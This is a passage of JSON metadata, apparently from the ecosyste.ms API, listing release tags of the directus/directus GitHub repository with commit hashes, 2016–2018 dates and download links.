os.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.8/manifests"},{"name":"v7.0.7","sha":"8288648f33306ae8afb6d12d8dbd1658646f9a04","kind":"commit","published_at":"2018-11-14T15:51:05.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v7.0.7","html_url":"https://github.com/directus/directus/releases/tag/v7.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v7.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.7/manifests"},{"name":"v7.0.6","sha":"25d6cde0e068781a7aa39d84a7274ea4af8b1a2e","kind":"commit","published_at":"2018-11-10T02:59:27.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v7.0.6","html_url":"https://github.com/directus/directus/releases/tag/v7.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v7.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.6/manifests"},{"name":"v7.0.5","sha":"e55c458835f544332191085b46e0784dfefca6c4","kind":"commit","published_at":"2018-11-02T21:53:14.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v7.0.5","html_url":"https://github.com/directus/directus/releases/tag/v7.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v7.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.5/manifests"},{"name":"v7.0.4","sha":"412740787f472648a519412dc9fab6138de99096","kind":"commit","published_at":"2018-10-27T16:12:24.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v7.0.4","html_url":"https://github.com/directus/directus/releases/tag/v7.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v7.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.4/manifests"},{"name":"v7.0.3","sha":"d9a2e27c9e82ffba2d4ee72a83908094ba9c4df2","kind":"commit","published_at":"2018-10-26T22:50:56.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v7.0.3","html_url":"https://github.com/directus/directus/releases/tag/v7.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v7.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.3/manifests"},{"name":"v7.0.2","sha":"5d1e014b13c1b20502ef969b0fcb10b60566327e","kind":"commit","published_at":"2018-10-20T02:09:31.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v7.0.2","html_url":"https://github.com/directus/directus/releases/tag/v7.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v7.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.2/manifests"},{"name":"v7.0.1","sha":"695d4eb288c712244956aae234f726d4bf77839e","kind":"commit","published_at":"2018-10-13T19:16:45.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v7.0.1","html_url":"https://github.com/directus/directus/releases/tag/v7.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v7.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.1/manifests"},{"name":"v7.0.0-rc.6","sha":"629a7574ee15b122f61b215a9aae66aaeafafa55","kind":"commit","published_at":"2018-10-05T22:23:18.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v7.0.0-rc.6","html_url":"https://github.com/directus/directus/releases/tag/v7.0.0-rc.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v7.0.0-rc.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.0-rc.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.0-rc.6/manifests"},{"name":"6.4.9+20180403074823","sha":"06a4c71069068f465b98c02d504f14fc74655480","kind":"commit","published_at":"2018-04-03T12:00:59.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.4.9+20180403074823","html_url":"https://github.com/directus/directus/releases/tag/6.4.9+20180403074823","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.4.9%2B20180403074823","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.9+20180403074823","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.9+20180403074823/manifests"},{"name":"6.4.9","sha":"aba7727c527125d35e1fc97219ef2ea7c7a8098d","kind":"commit","published_at":"2018-04-03T11:26:58.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.4.9","html_url":"https://github.com/directus/directus/releases/tag/6.4.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.4.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.9/manifests"},{"name":"6.4.8+20180228003954","sha":"d8b77717db15494d5b03f7c942eab21daab20a85","kind":"commit","published_at":"2018-02-28T04:41:20.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.4.8+20180228003954","html_url":"https://github.com/directus/directus/releases/tag/6.4.8+20180228003954","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.4.8%2B20180228003954","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.8+20180228003954","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.8+20180228003954/manifests"},{"name":"6.4.8","sha":"3d9f609a23d678d91ad1e4954dfe564a372c5749","kind":"commit","published_at":"2018-02-28T04:33:16.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.4.8","html_url":"https://github.com/directus/directus/releases/tag/6.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.8/manifests"},{"name":"6.4.7","sha":"7d6d883986704dd116e9aae94b15c47a53a4d9dd","kind":"commit","published_at":"2018-02-26T12:02:46.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.4.7","html_url":"https://github.com/directus/directus/releases/tag/6.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.7/manifests"},{"name":"6.4.6","sha":"8b79803f7c67f7dea90a719ec78053be09e05898","kind":"commit","published_at":"2018-02-05T17:31:26.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.4.6","html_url":"https://github.com/directus/directus/releases/tag/6.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.6/manifests"},{"name":"6.4.5+20171218214440","sha":"e330fa8dfaed4e9549b549cab250abde9738bf1b","kind":"commit","published_at":"2017-12-19T02:38:03.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.4.5+20171218214440","html_url":"https://github.com/directus/directus/releases/tag/6.4.5+20171218214440","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.4.5%2B20171218214440","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.5+20171218214440","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.5+20171218214440/manifests"},{"name":"6.4.5","sha":"c545fe5d1f4721132db10c447a8ee3c07c6ecb88","kind":"commit","published_at":"2017-12-19T02:32:02.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.4.5","html_url":"https://github.com/directus/directus/releases/tag/6.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.5/manifests"},{"name":"6.4.4+20171120114200","sha":"eaf35d131ef5c28c6230441ebee9985cb407c5b0","kind":"commit","published_at":"2017-11-20T15:43:22.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.4.4+20171120114200","html_url":"https://github.com/directus/directus/releases/tag/6.4.4+20171120114200","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.4.4%2B20171120114200","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.4+20171120114200","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.4+20171120114200/manifests"},{"name":"6.4.4","sha":"607aa1225fa227838e46311c180ebde1de58eadc","kind":"commit","published_at":"2017-11-20T15:30:18.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.4.4","html_url":"https://github.com/directus/directus/releases/tag/6.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.4/manifests"},{"name":"6.4.3+20170926171023","sha":"00cf8506768f9a11b49f88347eb39ea70ba25928","kind":"commit","published_at":"2017-09-26T21:13:59.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.4.3+20170926171023","html_url":"https://github.com/directus/directus/releases/tag/6.4.3+20170926171023","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.4.3%2B20170926171023","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.3+20170926171023","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.3+20170926171023/manifests"},{"name":"6.4.3","sha":"598fa1a06ebcc5ecbb5c94ef9ac85e03f550e140","kind":"commit","published_at":"2017-09-26T21:02:10.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.4.3","html_url":"https://github.com/directus/directus/releases/tag/6.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.3/manifests"},{"name":"6.4.2+20170823180744","sha":"6eef1f476f098c44c731d11275aa407aeddf2a2f","kind":"commit","published_at":"2017-08-23T18:08:23.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.4.2+20170823180744","html_url":"https://github.com/directus/directus/releases/tag/6.4.2+20170823180744","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.4.2%2B20170823180744","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.2+20170823180744","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.2+20170823180744/manifests"},{"name":"6.4.2","sha":"3d7225c1ff05dd3ff1d0acd83515a0f71ccf2841","kind":"commit","published_at":"2017-08-23T17:03:57.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.4.2","html_url":"https://github.com/directus/directus/releases/tag/6.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.2/manifests"},{"name":"6.4.1+20170823015625","sha":"b403758f2395e9f448392f0aa677356fa5a5a635","kind":"commit","published_at":"2017-08-23T05:57:48.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.4.1+20170823015625","html_url":"https://github.com/directus/directus/releases/tag/6.4.1+20170823015625","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.4.1%2B20170823015625","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.1+20170823015625","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.1+20170823015625/manifests"},{"name":"6.4.1","sha":"dd871139b740a99af17f4cadcd779f0287613df4","kind":"commit","published_at":"2017-08-09T06:21:48.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.4.1","html_url":"https://github.com/directus/directus/releases/tag/6.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.1/manifests"},{"name":"6.4.0","sha":"40737d0b1640aeb6b32026e13747f4fa731d385d","kind":"commit","published_at":"2017-07-09T00:50:57.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.4.0","html_url":"https://github.com/directus/directus/releases/tag/6.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.0/manifests"},{"name":"6.4.0-rc.1","sha":"bcc8bd029a2c2f6c01e2cbfe0fe649d3392d152f","kind":"commit","published_at":"2017-05-26T19:32:31.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.4.0-rc.1","html_url":"https://github.com/directus/directus/releases/tag/6.4.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.4.0-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.0-rc.1/manifests"},{"name":"6.4.0-beta.3","sha":"2890e9d473a8cd9bb99a9782265b29f28627718b","kind":"commit","published_at":"2017-05-04T05:59:05.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.4.0-beta.3","html_url":"https://github.com/directus/directus/releases/tag/6.4.0-beta.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.4.0-beta.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.0-beta.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.0-beta.3/manifests"},{"name":"6.4.0-beta.2","sha":"5b04f6c4d3b96c53d468fffe24c5645a0685e31e","kind":"commit","published_at":"2017-05-01T04:51:11.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.4.0-beta.2","html_url":"https://github.com/directus/directus/releases/tag/6.4.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.4.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.0-beta.2/manifests"},{"name":"6.4.0-beta","sha":"f0f5e2eb3d493e0eaf8397073dffe9d1ba4b84a6","kind":"commit","published_at":"2017-04-16T23:27:18.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.4.0-beta","html_url":"https://github.com/directus/directus/releases/tag/6.4.0-beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.4.0-beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.0-beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.4.0-beta/manifests"},{"name":"6.3.9","sha":"3b89fba09e0a1c5c64561a2dd4e1d77d18076091","kind":"commit","published_at":"2017-04-16T23:04:49.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.3.9","html_url":"https://github.com/directus/directus/releases/tag/6.3.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.3.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.3.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.3.9/manifests"},{"name":"6.3.8","sha":"098baf15b28c61907363bc6a76caab01960f2bb6","kind":"commit","published_at":"2017-03-01T22:53:44.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.3.8","html_url":"https://github.com/directus/directus/releases/tag/6.3.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.3.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.3.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.3.8/manifests"},{"name":"6.3.7","sha":"10a92a049d64f133c08fad16bdc81626938bb3cc","kind":"commit","published_at":"2017-02-09T16:18:34.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.3.7","html_url":"https://github.com/directus/directus/releases/tag/6.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.3.7/manifests"},{"name":"6.3.6","sha":"bc966ebc6cbe0575e8a136acb98a72aa2be02390","kind":"commit","published_at":"2017-01-11T07:21:13.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.3.6","html_url":"https://github.com/directus/directus/releases/tag/6.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.3.6/manifests"},{"name":"6.3.5","sha":"5e2bb0d38c528b2d3fcf5c128ffb6394bb46cb26","kind":"commit","published_at":"2016-11-15T22:51:48.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.3.5","html_url":"https://github.com/directus/directus/releases/tag/6.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.3.5/manifests"},{"name":"6.3.4","sha":"bc5665a8971aa6254afdc4d7bdadd02dfea12f99","kind":"commit","published_at":"2016-10-08T00:30:02.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.3.4","html_url":"https://github.com/directus/directus/releases/tag/6.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.3.4/manifests"},{"name":"6.3.3","sha":"fa66ae3274e01fe94591b19c38cd66cf65b9dd21","kind":"commit","published_at":"2016-09-08T14:55:07.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.3.3","html_url":"https://github.com/directus/directus/releases/tag/6.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.3.3/manifests"},{"name":"6.3.2","sha":"bbec374080712b3d35a6791fb3b0a41ebea0115e","kind":"commit","published_at":"2016-09-07T05:56:16.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.3.2","html_url":"https://github.com/directus/directus/releases/tag/6.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.3.2/manifests"},{"name":"6.3.1","sha":"f3c665cd8dffb81158769bfd823a7a540e770ac8","kind":"commit","published_at":"2016-08-30T00:07:43.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.3.1","html_url":"https://github.com/directus/directus/releases/tag/6.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.3.1/manifests"},{"name":"6.3.0","sha":"86a895860730a2cc2de860609e143a9ba1018a56","kind":"commit","published_at":"2016-08-24T03:31:39.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.3.0","html_url":"https://github.com/directus/directus/releases/tag/6.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.3.0/manifests"},{"name":"6.2.8","sha":"ad3636deb1b418aaee49f9f2d9ed96ce44cba155","kind":"commit","published_at":"2016-06-16T19:51:14.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.2.8","html_url":"https://github.com/directus/directus/releases/tag/6.2.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.2.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.2.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.2.8/manifests"},{"name":"6.2.7","sha":"bfa34e57fe600efe5c68f1af7876ab48a7958658","kind":"commit","published_at":"2016-06-14T03:30:33.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.2.7","html_url":"https://github.com/directus/directus/releases/tag/6.2.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.2.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.2.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.2.7/manifests"},{"name":"6.2.6","sha":"800d4795f2114e083711b2143a65089e533314a8","kind":"commit","published_at":"2016-06-08T23:11:28.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.2.6","html_url":"https://github.com/directus/directus/releases/tag/6.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.2.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.2.6/manifests"},{"name":"6.2.5","sha":"5a8cd6d181304e88b065ed145d1f05c3503e723f","kind":"commit","published_at":"2016-05-13T19:39:37.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.2.5","html_url":"https://github.com/directus/directus/releases/tag/6.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.2.5/manifests"},{"name":"6.2.4","sha":"0a05abba7ccc12609ef72bb2beac77658338c033","kind":"commit","published_at":"2016-04-24T18:07:54.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.2.4","html_url":"https://github.com/directus/directus/releases/tag/6.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.2.4/manifests"},{"name":"6.2.3","sha":"e579eb3f0f783ea00598e94e8c547ddecaa9bd02","kind":"commit","published_at":"2016-04-23T18:04:45.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.2.3","html_url":"https://github.com/directus/directus/releases/tag/6.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.2.3/manifests"},{"name":"6.2.2","sha":"b8176078ae8d77f7bebf38c79c7c02445143635e","kind":"commit","published_at":"2016-04-20T05:03:19.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.2.2","html_url":"https://github.com/directus/directus/releases/tag/6.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.2.2/manifests"},{"name":"6.2.1","sha":"e22e7e85dfd6c5ef8089c23112dd4b34255220cc","kind":"commit","published_at":"2016-04-15T05:27:19.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.2.1","html_url":"https://github.com/directus/directus/releases/tag/6.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.2.1/manifests"},{"name":"6.2.0","sha":"773d192b4b98bf1b1d540458790ac015f72c945e","kind":"commit","published_at":"2016-03-28T22:31:00.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.2.0","html_url":"https://github.com/directus/directus/releases/tag/6.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.2.0","man